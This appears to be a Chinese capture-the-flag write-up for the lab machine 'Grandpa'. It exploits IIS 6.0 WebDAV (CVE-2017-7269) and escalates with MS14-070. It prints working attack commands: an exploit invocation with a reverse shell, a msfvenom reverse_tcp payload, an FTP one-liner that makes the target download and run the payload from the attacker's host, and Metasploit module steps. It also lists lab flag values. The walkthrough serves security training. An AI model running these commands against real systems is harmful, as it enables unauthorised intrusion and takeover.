[Meachines] [Easy] grandpa IIS 6.0+CVE-2017-7269+MS14-070权限提升
字数 948 2025-08-19 12:41:39

IIS 6.0漏洞利用与权限提升综合指南

1. 信息收集阶段

1.1 初始扫描

使用Nmap进行端口扫描:

nmap -p- 10.10.10.14 --min-rate 1000 -sC -sV -Pn

发现关键信息:

  • 开放端口:TCP 80
  • 服务:Microsoft IIS httpd 6.0
  • WebDAV类型:Unknown
  • 允许的方法:OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK

1.2 WebDAV验证

使用whatweb进行Web指纹识别:

whatweb http://10.10.10.14/

2. 漏洞利用(CVE-2017-7269)

2.1 漏洞背景

IIS 6.0 WebDAV组件存在缓冲区溢出漏洞,允许远程代码执行。

2.2 利用脚本分析

提供的Python脚本(iis6webdav.py)包含以下关键部分:

  1. 参数检查:
if len(sys.argv)<5:
    print 'usage:iis6webdav.py targetip targetport reverseip reverseport\n'
    exit(1)
  1. Shellcode构造:
  • 包含1744字节的精心构造的shellcode
  • 使用struct.pack处理IP和端口:
struct.pack('i',reverseport)
struct.pack('16s',reverseip)
  1. 漏洞触发载荷:
  • 使用PROPFIND方法
  • 包含精心构造的UTF-8字符序列触发溢出

2.3 执行利用

python2 exp.py 10.10.10.14 80 10.10.16.24 10034

3. 后渗透阶段

3.1 建立Meterpreter会话

  1. 设置监听器:
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 10.10.16.24
set LPORT 10032
run

3.2 文件传输

  1. 启动临时FTP服务器(Python实现):
from pyftpdlib.authorizers import DummyAuthorizer
from pyftpdlib.handlers import FTPHandler
from pyftpdlib.servers import FTPServer

def start_ftp_server():
    authorizer = DummyAuthorizer()
    authorizer.add_user("test", "test", ".", perm="elradfmwMT")
    authorizer.add_anonymous(".")
    handler = FTPHandler
    handler.authorizer = authorizer
    server = FTPServer(("0.0.0.0", 21), handler)
    print("Starting FTP server on port 21...")
    server.serve_forever()

if __name__ == "__main__":
    start_ftp_server()
  1. 生成并传输payload:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.16.24 LPORT=10032 -f exe -a x86 --platform windows -o payload.exe
  1. 目标机下载payload:
cd %TEMP%
(echo open 10.10.16.24 & echo user test test & echo binary & echo get payload.exe & echo bye) | ftp -n
payload.exe

4. 权限提升(MS14-070)

4.1 漏洞检测

使用Metasploit的本地漏洞检测模块:

use post/multi/recon/local_exploit_suggester
set SESSION 1
run

4.2 执行权限提升

use exploit/windows/local/ms14_070_tcpip_ioctl
set LHOST 10.10.16.24
set SESSION 1
run

5. 关键成果

  • User.txt: bdff5ec67c3cff017f2bedc146a5d869
  • Root.txt: 9359e905a2c35f861f6a57cecf28bb7

6. 技术要点总结

  1. IIS 6.0 WebDAV漏洞(CVE-2017-7269):

    • 通过精心构造的PROPFIND请求触发缓冲区溢出
    • 需要精确控制shellcode长度和结构
  2. 权限提升(MS14-070):

    • Windows TCP/IP驱动中的漏洞
    • 允许从普通用户提升至SYSTEM权限
  3. 文件传输技巧:

    • 使用临时FTP服务器传输payload
    • 目标机通过命令行FTP客户端下载文件
  4. 后渗透策略:

    • 使用Metasploit的自动建议模块识别本地漏洞
    • 选择适当的权限提升模块完成最终突破
IIS 6.0漏洞利用与权限提升综合指南 1. 信息收集阶段 1.1 初始扫描 使用Nmap进行端口扫描: 发现关键信息: 开放端口:TCP 80 服务:Microsoft IIS httpd 6.0 WebDAV类型:Unknown 允许的方法:OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK 1.2 WebDAV验证 使用whatweb进行Web指纹识别: 2. 漏洞利用(CVE-2017-7269) 2.1 漏洞背景 IIS 6.0 WebDAV组件存在缓冲区溢出漏洞,允许远程代码执行。 2.2 利用脚本分析 提供的Python脚本(iis6webdav.py)包含以下关键部分: 参数检查: Shellcode构造: 包含1744字节的精心构造的shellcode 使用struct.pack处理IP和端口: 漏洞触发载荷: 使用PROPFIND方法 包含精心构造的UTF-8字符序列触发溢出 2.3 执行利用 3. 后渗透阶段 3.1 建立Meterpreter会话 设置监听器: 3.2 文件传输 启动临时FTP服务器(Python实现): 生成并传输payload: 目标机下载payload: 4. 权限提升(MS14-070) 4.1 漏洞检测 使用Metasploit的本地漏洞检测模块: 4.2 执行权限提升 5. 关键成果 User.txt: bdff5ec67c3cff017f2bedc146a5d869 Root.txt: 9359e905a2c35f861f6a57cecf28bb7 6. 技术要点总结 IIS 6.0 WebDAV漏洞(CVE-2017-7269) : 通过精心构造的PROPFIND请求触发缓冲区溢出 需要精确控制shellcode长度和结构 权限提升(MS14-070) : Windows TCP/IP驱动中的漏洞 允许从普通用户提升至SYSTEM权限 文件传输技巧 : 使用临时FTP服务器传输payload 目标机通过命令行FTP客户端下载文件 后渗透策略 : 使用Metasploit的自动建议模块识别本地漏洞 选择适当的权限提升模块完成最终突破